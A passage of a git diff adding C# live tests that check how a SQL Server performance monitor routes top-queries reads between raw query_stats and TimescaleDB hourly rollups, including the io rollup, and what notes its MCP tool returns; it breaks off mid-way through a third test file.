@@ -115,27 +123,39 @@ public void HourlyFirstBucketSql_IsLeastOfTwoOrderedFirstRowProbes_WithNoUnion()
     [Fact]
     public void HourlyFirstBucketSingleRelationSql_ReadsThePlaceholderRelation_OrderedWithLimitOne()
     {
-        var sql = DarlingDataReader.HourlyFirstBucketSingleRelationSql;
+        var sql = RollupCoverage.HourlyFirstBucketSingleRelationSql;
         Assert.Contains(DarlingDataReader.TopQueriesHourlyFromPlaceholder, sql, StringComparison.Ordinal);
         Assert.Contains("ORDER BY f.bucket LIMIT 1", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("UNION", sql, StringComparison.OrdinalIgnoreCase);
     }
 
-    /// <summary>The seam splits at the same floor the stitch uses, and both hourly readers go through it.</summary>
+    /// <summary>The seam splits at the same floor the stitch uses, and the service's readers and the Viewer's grids go through
+    /// the ONE copy in Storage (#5329).</summary>
     [Fact]
     public void GetHourlyFirstBucketAsync_SplitsAtStitchFloor_AndBothReadersUseIt()
     {
-        var source = File.ReadAllText(FindReaderSourcePath());
-        var start = source.IndexOf("private static async Task<DateTime?> GetHourlyFirstBucketAsync(", StringComparison.Ordinal);
+        var storage = File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs"));
+        var start = storage.IndexOf("public async Task<DateTime?> GetHourlyFirstBucketAsync(", StringComparison.Ordinal);
         Assert.True(start >= 0);
-        var end = source.IndexOf("return value is DateTime bucket", start, StringComparison.Ordinal);
-        var body = source[start..end];
-        Assert.Contains(".StitchFloor(", body, StringComparison.Ordinal);
+        var end = storage.IndexOf("return value is DateTime bucket", start, StringComparison.Ordinal);
+        var body = storage[start..end];
+        var source = File.ReadAllText(FindReaderSourcePath());
+        Assert.DoesNotContain("HourlyFirstBucketSql =", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("Task<DateTime?> GetHourlyFirstBucketAsync(", source, StringComparison.Ordinal);
+        foreach (var viewerFile in new[] { "ViewerDataService.QueryStats.cs", "ViewerDataService.ProcedureStats.cs" })
+        {
+            Assert.Contains("coverage.GetHourlyFirstBucketAsync(",
+                File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Viewer", viewerFile)), StringComparison.Ordinal);
+        }
+
+        Assert.Contains("StitchFloor(", body, StringComparison.Ordinal);
         Assert.Contains("SuccessorOf(", body, StringComparison.Ordinal);
         Assert.Contains("HourlyFirstBucketSingleRelationSql", body, StringComparison.Ordinal);
         Assert.Contains("\"UNION\"", body, StringComparison.Ordinal);
-        Assert.Contains("GetHourlyFirstBucketAsync(postgres, coverage, TimescaleSupport.QueryStatsHourlyView,", source, StringComparison.Ordinal);
-        Assert.Contains("GetHourlyFirstBucketAsync(postgres, coverage, TimescaleSupport.ProcedureStatsHourlyView,", source, StringComparison.Ordinal);
+        Assert.Contains("coverage.GetHourlyFirstBucketAsync(", source, StringComparison.Ordinal);
+        Assert.Contains("postgres, io ? TimescaleSupport.QueryStatsIoHourlyView : TimescaleSupport.QueryStatsHourlyView,", source, StringComparison.Ordinal);
+        /* #5329: the procedures arm picks its relation (io or the stitched legacy view) inside the call. */
+        Assert.Contains("postgres, io ? TimescaleSupport.ProcedureStatsIoHourlyView : TimescaleSupport.ProcedureStatsHourlyView,", source, StringComparison.Ordinal);
     }
 
     private static string FindReaderSourcePath()
@@ -143,4 +163,33 @@ private static string FindReaderSourcePath()
 
     private static string RepoRoot([CallerFilePath] string thisFile = "")
         => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+
+    /// <summary>
+    /// #5329 source pin: the routed read takes the io route through <c>ChooseQueriesHourlyRoute</c>, the hourly arm names
+    /// <c>query_stats_io_hourly</c> (and projects its three sums) only on that route, a reads ranking carries the raw
+    /// retention notice only when it does not read io, and the queries tool no longer says only raw carries reads.
+    /// </summary>
+    [Fact]
+    public void TheIoRoute_IsChosenInTheRoutedRead_NamedInTheHourlyArm_AndDisclosedByTheTool()
+    {
+        var source = File.ReadAllText(FindReaderSourcePath());
+        var routed = source.Substring(source.IndexOf("public static async Task<TopQueriesReadResult> GetTopQueriesByCpuRoutedAsync", StringComparison.Ordinal));
+        routed = routed[..routed.IndexOf("GetTopQueriesByCpuHourlyAsync(postgres, coverage", StringComparison.Ordinal)];
+        Assert.Contains("ChooseQueriesHourlyRoute(rollups, coverage, ranking, startUtc)", routed, StringComparison.Ordinal);
+        Assert.Contains("ranking != TopRanking.Reads || ioRoute", routed, StringComparison.Ordinal);
+        Assert.DoesNotContain("!TopRankings.HourlyCarries(ranking)", routed, StringComparison.Ordinal);
+
+        var arm = source.Substring(source.IndexOf("private static async Task<(List<TopQueryRow> Rows, DateTime? FirstBucket)> GetTopQueriesByCpuHourlyAsync", StringComparison.Ordinal));
+        arm = arm[..arm.IndexOf("/* ─────────────────────────── top procedures", StringComparison.Ordinal)];
+        /* #5329: the io FROM goes through StitchedRelationSql like every other hourly relation (no literal relation name). */
+        Assert.Contains("coverage.StitchedRelationSql(\n            io ? TimescaleSupport.QueryStatsIoHourlyView : TimescaleSupport.QueryStatsHourlyView,", arm.Replace("\r\n", "\n"), StringComparison.Ordinal);
+        Assert.DoesNotContain("collect.{TimescaleSupport.QueryStatsIoHourlyView} AS f", arm, StringComparison.Ordinal);
+        Assert.Contains("io ? TimescaleSupport.QueryStatsIoHourlyView : TimescaleSupport.QueryStatsHourlyView,", arm, StringComparison.Ordinal);
+        Assert.Contains("coverage.GetHourlyFirstBucketAsync(", arm, StringComparison.Ordinal);
+        Assert.Contains("TopRankings.HourlyIoSums", arm, StringComparison.Ordinal);
+
+        var tool = File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs"));
+        Assert.DoesNotContain("which only raw query_stats carries (the hourly rollup keeps CPU", tool, StringComparison.Ordinal);
+        Assert.Contains("query_stats_io_hourly", tool, StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/TopQueriesIoRouteLiveTests.cs b/Darling/Darling.Tests/TopQueriesIoRouteLiveTests.cs
new file mode 100644
index 0000000000..14061de1c7
--- /dev/null
+++ b/Darling/Darling.Tests/TopQueriesIoRouteLiveTests.cs
@@ -0,0 +1,354 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/* #1776 own-store: each test mints a scratch database, because it materializes continuous aggregates (and one drops
+   one), which no other class sharing the store may see. */
+/// <summary>
+/// #5329 lane B1, live: the Top Queries reader on an Hourly-tier window with the io hourly rollup absent, empty, partial
+/// and covering. The oracle seed is lane A's <see cref="IoRollupOracleSeed"/> (a NULL-reads group, a reads tie, two
+/// sql_handles under one query_hash, two databases, a zero-interval row the rollups drop and a NULL-interval row they keep).
+///
+/// <para>The oracle: over the SAME window, the reads ranking answered from <c>query_stats_io_hourly</c> equals the raw route
+/// (keys, order and every total, the reads, physical reads and writes included), and the CPU, duration and executions rankings
+/// answered from it equal the same ranking over the interval-honest sibling. Raw is read FIRST (its rows still exist), then
+/// the raw rows are deleted so the router must read a rollup. Each read goes through a FRESH data source, because coverage
+/// is cached per data source.</para>
+/// </summary>
+public sealed class TopQueriesIoRouteLiveTests
+{
+    private const int ServerId = -943861;
+    private const string ServerName = "a5329-top-queries-io-route";
+    private const int Top = 10;
+
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime WindowEnd = WindowStart.AddHours(IoRollupOracleSeed.Hours + 1);
+    private static readonly DateTime SurvivorAt = WindowStart.AddHours(IoRollupOracleSeed.Hours).AddMinutes(30);
+
+    private sealed record Total(string Db, string Hash, long Executions, long CpuUs, long ElapsedUs, long LogicalReads, long PhysicalReads, long LogicalWrites);
+
+    private static Total[] Totals(IEnumerable<DarlingDataReader.TopQueryRow> rows, bool withIo = true) =>
+        rows.Select(r => new Total(
+            r.DatabaseName, r.QueryHash, r.TotalExecutions, r.TotalCpuUs, r.TotalElapsedUs,
+            withIo ? r.TotalLogicalReads : 0, withIo ? r.TotalPhysicalReads : 0, withIo ? r.TotalLogicalWrites : 0)).ToArray();
+
+    [Fact]
+    public Task Covering_EveryRankingReadsIo_ReadsEqualsTheRawRoute_AndTheOtherRankingsEqualTheIntervalSibling() =>
+        WithStoreAsync(async (scratch, connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await TopRankingLiveTests.PlantQueryAsync(connection, ct, "collect.query_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, WindowStart, ct);
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIoHourlyView, WindowStart, ct);
+
+            /* The raw route, read FIRST while raw still holds the rows: the raw reads statement itself over the same window. The
+               router cannot supply it: a window this old is Hourly-tier by age, and the reader's raw arm runs only on a
+               recent one. */
+            var raw = await RunRawReadsAsync(connection, ct);
+            Assert.True(raw.Length >= 5, "the seed should rank at least five groups, or the comparison below proves nothing");
+            Assert.DoesNotContain(raw, r => r.Hash == "0xQHD");   /* the zero-interval row's 9,999,999 reads are in neither route */
+
+            /* Now the raw rows go, so the window can only be answered by a rollup. */
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(IoRollupOracleSeed.Hours), ct);
+
+            await using var ioSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var io = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                ioSource, ServerId, WindowStart, WindowEnd, Top, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Hourly, io.Tier);
+            Assert.True(io.IoRoute);
+            Assert.False(io.RawForced);
+            Assert.Null(io.RetentionNotice);   /* the io rollup reaches the start: nothing partial to disclose */
+            Assert.Equal(raw, Totals(io.Rows));
+            Assert.Contains(io.Rows, r => r.TotalLogicalReads > 0 && r.TotalPhysicalReads > 0 && r.TotalLogicalWrites > 0);
+            Assert.Contains(io.Rows, r => r.QueryHash == "0xQHC" && r.TotalLogicalReads == 0);   /* the NULL-reads group stays 0, never dropped */
+
+            /* Every other ranking reads the io relation too, and equals the interval sibling over the same window. */
+            foreach (var ranking in new[] { TopRanking.Cpu, TopRanking.Duration, TopRanking.Executions })
+            {
+                var label = TopRankings.WireName(ranking);
+                var viaIo = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                    ioSource, ServerId, WindowStart, WindowEnd, Top, databaseName: null, ranking: ranking, cancellationToken: ct);
+                Assert.True(viaIo.IoRoute, $"{label}: covering io takes every ranking");
+                Assert.Equal(RetentionTier.Hourly, viaIo.Tier);
+                var sibling = await RunHourlyAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, ranking, ct);
+                Assert.Equal(sibling, Totals(viaIo.Rows, withIo: false).Select(t => (t.Db, t.Hash, t.Executions, t.CpuUs, t.ElapsedUs)).ToArray());
+            }
+
+            /* The tool: the rows carry the sums, and the note names the relation instead of saying only raw has reads. */
+            var query = "?server=" + ServerName + "&hours=24&as_of=" + Uri.EscapeDataString(WindowEnd.ToString("o")) + "&order_by=reads";
+            using var doc = JsonDocument.Parse(await TopRankingLiveTests.WebReadAsync(ioSource, "get_top_queries_by_cpu", query));
+            Assert.Equal("hourly", doc.RootElement.GetProperty("tier_used").GetString());
+            var ioNote = doc.RootElement.GetProperty("precision_note").GetString()!;
+            Assert.Contains("query_stats_io_hourly", ioNote, StringComparison.Ordinal);
+            Assert.NotEqual(JsonValueKind.Null, doc.RootElement.GetProperty("queries")[0].GetProperty("total_logical_reads").ValueKind);
+
+            /* The window-edges note rides on the io route too: ?: binds looser than +, and an unparenthesized form dropped it here,
+               leaving the answer silently cut at io's materialization ceiling. The expected text is the shared note over the same
+               read the tool made (24 hours back from as_of). The stitched route's sql_handle caveat is vacuous on io, whose WHERE
+               excludes the zero-interval rows, and is not claimed. */
+            var toolStart = WindowEnd.AddHours(-24);
+            var toolRead = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                ioSource, ServerId, toolStart, WindowEnd, Top, databaseName: null, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.True(toolRead.IoRoute);
+            var edges = HourlyWindowEdges.Note(toolStart, toolRead.HourlyFirstBucket, WindowEnd, toolRead.HourlyCeiling);
+            Assert.False(string.IsNullOrEmpty(edges), "the seed must leave an edge to note (a ceiling before the end), or this pin proves nothing");
+            Assert.Contains(edges, ioNote, StringComparison.Ordinal);
+            Assert.DoesNotContain("sql_handle is the rollup's MAX(sql_handle)", ioNote, StringComparison.Ordinal);
+        });
+
+    /* A reads ranking forced to raw by min_dop is forced by the FILTER: the io rollup covers the window and was never consulted, so the
+       answer must not say it was absent, empty or too shallow. ReadsForcedRaw is true only when the reads ranking itself sent the read to
+       raw. */
+    [Fact]
+    public Task ARaw_ForcedByMinDop_NamesTheFilter_NotAnAbsentIoRollup() =>
+        WithStoreAsync(async (scratch, connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await TopRankingLiveTests.PlantQueryAsync(connection, ct, "collect.query_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE collect.query_stats SET max_dop = 8 WHERE query_hash = '0xQSURV'");
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, WindowStart, ct);
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIoHourlyView, WindowStart, ct);
+
+            await using var ioSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var forced = await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+                ioSource, ServerId, WindowEnd.AddHours(-24), WindowEnd, Top, databaseName: null, minMaxDop: 4, ranking: TopRanking.Reads, cancellationToken: ct);
+            Assert.Equal(RetentionTier.Raw, forced.Tier);
+            Assert.True(forced.RawForced);
+            Assert.False(forced.ReadsForcedRaw);   /* the filter forced raw; io covers and was not consulted */
+            Assert.Equal("0xQSURV", Assert.Single(forced.Rows).QueryHash);
+
+            var json = await DarlingMcpDataTools.GetTopQueriesRanked(
+                ioSource, ServerName, 24, Top, null, false, 4, "query_hash", WindowEnd.ToString("o"), "summary", "reads", ct);
+            using (var doc = JsonDocument.Parse(json))
+            {
+                var note = doc.RootElement.GetProperty("precision_note").GetString()!;
+                Assert.Contains("parallel_only / min_dop / group_by=host_object", note, StringComparison.Ordinal);
+                Assert.DoesNotContain("absent, empty or did not reach back", note, StringComparison.Ordinal);
+                Assert.DoesNotContain("order_by=reads needs per-query logical reads", note, StringComparison.Ordinal);
+            }
+
+            /* Raw gone: the empty answer names the filter as the thing the rollup cannot apply, and does not claim the io rollup misses the window. */
+            await PurgeRawBeforeAsync(connection, WindowEnd.AddDays(1), ct);
+            var empty = await DarlingMcpDataTools.GetTopQueriesRanked(
+                ioSource, ServerName, 24, Top, null, false, 4, "query_hash", WindowEnd.ToString("o"), "summary", "reads", ct);
+            Assert.Contains("apply parallel_only/min_dop/group_by=host_object", empty, StringComparison.Ordinal);
+            Assert.DoesNotContain("does not reach this window's start", empty, StringComparison.Ordinal);
+            Assert.DoesNotContain("rank by reads", empty, StringComparison.Ordinal);
+        });
+
+    [Fact]
+    public Task EmptyThenPartial_RoutesByWhichRelationReachesFurtherBack() =>
+        WithStoreAsync(async (scratch, connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await TopRankingLiveTests.PlantQueryAsync(connection, ct, "collect.query_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, WindowStart, ct);
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(1), ct);   /* raw now starts at hour 1 */
+
+            /* io EMPTY: reads is raw (forced, with raw's retention notice); the other rankings keep the stitched rollup. */
+            var empty = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Raw, empty.Tier);
+            Assert.True(empty.RawForced);
+            Assert.False(empty.IoRoute);
+            Assert.NotNull(empty.RetentionNotice);
+            var cpuEmpty = await ReadAsync(scratch, TopRanking.Cpu, ct);
+            Assert.Equal(RetentionTier.Hourly, cpuEmpty.Tier);
+            Assert.False(cpuEmpty.IoRoute);
+            Assert.All(cpuEmpty.Rows, r => Assert.Equal(0, r.TotalLogicalReads));
+
+            /* Covering is the other test: the floor cache trusts a floor while the rollup's oldest chunk is unchanged, so a refresh
+               that only moves the floor earlier inside that chunk is not seen by the next read of the same store. */
+            /* io PARTIAL (starts at hour 2) while raw reaches back to hour 1: raw is deeper, so reads stays raw. */
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIoHourlyView, WindowStart.AddHours(2), ct);
+            var rawDeeper = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Raw, rawDeeper.Tier);
+            Assert.False(rawDeeper.IoRoute);
+            Assert.NotNull(rawDeeper.RetentionNotice);
+            Assert.False((await ReadAsync(scratch, TopRanking.Cpu, ct)).IoRoute);
+
+            /* raw is purged to hour 4: now the partial io reaches further back than raw, and reads takes it, disclosed as
+               a hourly window that starts at io's first bucket rather than with raw's retention notice. */
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(4), ct);
+            var partial = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Hourly, partial.Tier);
+            Assert.True(partial.IoRoute);
+            Assert.Null(partial.RetentionNotice);
+            Assert.Equal(WindowStart.AddHours(2), partial.HourlyFirstBucket);
+            Assert.DoesNotContain(partial.Rows, r => r.QueryHash == "0xQHA" && r.TotalLogicalReads == 0);
+            Assert.False((await ReadAsync(scratch, TopRanking.Cpu, ct)).IoRoute);   /* partial io never takes a non-reads ranking */
+        });
+
+    [Fact]
+    public Task Absent_AStoreWithoutTheIoRollup_ReadsRawForReads_AndNeverNamesTheMissingRelation() =>
+        WithStoreAsync(async (scratch, connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            await TopRankingLiveTests.PlantQueryAsync(connection, ct, "collect.query_stats", ServerId, ServerName, SurvivorAt, "QSURV", 1_000, 1_000, 7, 1);
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, WindowStart, ct);
+            await PurgeRawBeforeAsync(connection, WindowStart.AddHours(IoRollupOracleSeed.Hours), ct);
+            await using (var drop = new NpgsqlCommand($"DROP MATERIALIZED VIEW collect.{TimescaleSupport.QueryStatsIoHourlyView}", connection))
+            {
+                await drop.ExecuteNonQueryAsync(ct);
+            }
+
+            var reads = await ReadAsync(scratch, TopRanking.Reads, ct);
+            Assert.Equal(RetentionTier.Raw, reads.Tier);
+            Assert.True(reads.RawForced);
+            Assert.True(reads.ReadsForcedRaw);   /* here the reads ranking itself sent the read to raw: no io rollup */
+            Assert.Equal("0xQSURV", Assert.Single(reads.Rows).QueryHash);
+
+            var cpu = await ReadAsync(scratch, TopRanking.Cpu, ct);
+            Assert.Equal(RetentionTier.Hourly, cpu.Tier);
+            Assert.False(cpu.IoRoute);
+            Assert.NotEmpty(cpu.Rows);
+        });
+
+    // ---------------------------------------------------------------- plumbing
+
+    private static async Task<DarlingDataReader.TopQueriesReadResult> ReadAsync(ScratchPostgres scratch, TopRanking ranking, CancellationToken ct)
+    {
+        await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+        return await DarlingDataReader.GetTopQueriesByCpuRoutedAsync(
+            source, ServerId, WindowStart, WindowEnd, Top, databaseName: null, ranking: ranking, cancellationToken: ct);
+    }
+
+    /// <summary>The hourly statement over <paramref name="view"/> directly (the sibling the io rollup must equal), as
+    /// (database, hash, executions, cpu, elapsed) in page order.</summary>
+    private static async Task<(string Db, string Hash, long Executions, long CpuUs, long ElapsedUs)[]> RunHourlyAsync(
+        NpgsqlConnection connection, string view, TopRanking ranking, CancellationToken ct)
+    {
+        var sql = TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, ranking, hourly: true)
+            .Replace(DarlingDataReader.TopQueriesHourlyFromPlaceholder, $"collect.{view} AS f", StringComparison.Ordinal)
+            .Replace(DarlingDataReader.TopQueriesHourlyIoSumsPlaceholder, TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
+            .Replace("$CEIL$", "", StringComparison.Ordinal);
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowStart });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowEnd });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = Top });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = Top + 5 });
+        var rows = new List<(string, string, long, long, long)>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            if (reader.IsDBNull(10))
+            {
+                continue;   /* the candidate-count row */
+            }
+
+            rows.Add((reader.GetString(0), reader.GetString(1), reader.GetInt64(2), reader.GetInt64(3), reader.GetInt64(4)));
+        }
+
+        return rows.ToArray();
+    }
+
+    /// <summary>The raw reads statement (<see cref="DarlingDataReader.TopQueriesSql"/> ranked by reads) over the window, as totals in page order.</summary>
+    private static async Task<Total[]> RunRawReadsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var sql = TopRankings.Apply(DarlingDataReader.TopQueriesSql, TopRanking.Reads, hourly: false);
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowStart });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = WindowEnd });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = Top });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 0 });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = Top + 5 });
+        var rows = new List<Total>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            if (reader.IsDBNull(44))
+            {
+                continue;   /* the candidate-count row */
+            }
+
+            rows.Add(new Total(
+                reader.GetString(0), reader.GetString(1), reader.GetInt64(6), reader.GetInt64(7), reader.GetInt64(8),
+                reader.IsDBNull(9) ? 0 : reader.GetInt64(9), reader.IsDBNull(11) ? 0 : reader.GetInt64(11), reader.IsDBNull(10) ? 0 : reader.GetInt64(10)));
+        }
+
+        return rows.ToArray();
+    }
+
+    private static async Task PurgeRawBeforeAsync(NpgsqlConnection connection, DateTime before, CancellationToken ct)
+    {
+        await using var purge = new NpgsqlCommand("DELETE FROM collect.query_stats WHERE server_id = $1 AND collection_time < $2", connection);
+        purge.Parameters.AddWithValue(ServerId);
+        purge.Parameters.AddWithValue(before);
+        await purge.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(WindowEnd.AddHours(1));
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Mints a scratch TimescaleDB store with the continuous aggregates and this class's server registered, and runs the body on it.</summary>
+    private static async Task WithStoreAsync(Func<ScratchPostgres, NpgsqlConnection, CancellationToken, Task> body)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5329 io route tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live #5329 io route tests need TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await body(scratch, connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopRankingDifferentialLiveTests.cs b/Darling/Darling.Tests/TopRankingDifferentialLiveTests.cs
new file mode 100644
index 0000000000..0046371b8e
--- /dev/null
+++ b/Darling/Darling.Tests/TopRankingDifferentialLiveTests.cs
@@ -0,0 +1,572 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5226 differential: the shipped TWO-PASS raw top-N reads against the ONE-PASS statements they replaced, on one seed,
+/// row for row. The old statements are kept verbatim in <see cref="TopRankingOnePassBaseline"/> (with only the tie order
+/// and NULL placement the two-pass work changed on purpose); the new ones are read through the shipped reader, so the
+/// comparison covers the statement text, the parameter binding and the row mapping, and it keeps covering whatever the
+/// reader's SQL becomes.
+///
+/// <para><b>What the seed is built to catch.</b> Ties on the ranking metric alone and on metric and CPU together (only the
+/// group key orders them); groups whose reads are all NULL or partly NULL; NULL <c>database_name</c>, <c>query_hash</c> and
+/// <c>host_object_name</c> key parts (a join on plain <c>=</c> drops a NULL-keyed winner); several snapshots per group (a
+/// sum is not a max); a proc-hosted group whose statement fragments across four hashes (the roll-up variant); a zero-
+/// execution group (the HAVING); WAITFOR shells that outrank everything (the over-fetch and the trim); parallel-only floors
+/// (max_dop NULL, 1, 4, mixed); zero-interval rows (the honest-interval filter); rows just outside the window; a latest
+/// text that changed between snapshots; and forty seeded random groups drawn from small value sets, so ties are the rule.
+/// Each comparison is the full page, keys and totals and order.</para>
+///
+/// <para>Each (statement, ranking, top, database filter, parallelism floor) is one comparison, and a failure names it and
+/// the first row that differs.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TopRankingDifferentialLiveTests
+{
+    private const string ServerName = "darling-top-ranking-differential-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private const string Db1 = "DiffDb1";
+    private const string Db2 = "DiffDb2";
+
+    private static readonly TopRanking[] Rankings = [TopRanking.Cpu, TopRanking.Duration, TopRanking.Reads, TopRanking.Executions];
+
+    /// <summary>The page sizes: smaller than the WAITFOR crowd (the +5 over-fetch bites), mid-size, and larger than the seed.</summary>
+    private static readonly int[] Tops = [3, 12, 150];
+
+    // ---------------------------------------------------------------- the seed
+
+    /// <summary>One <c>query_stats</c> snapshot. <paramref name="At"/> is relative to now; null takes the next unique in-window instant.</summary>
+    private sealed record QRow(
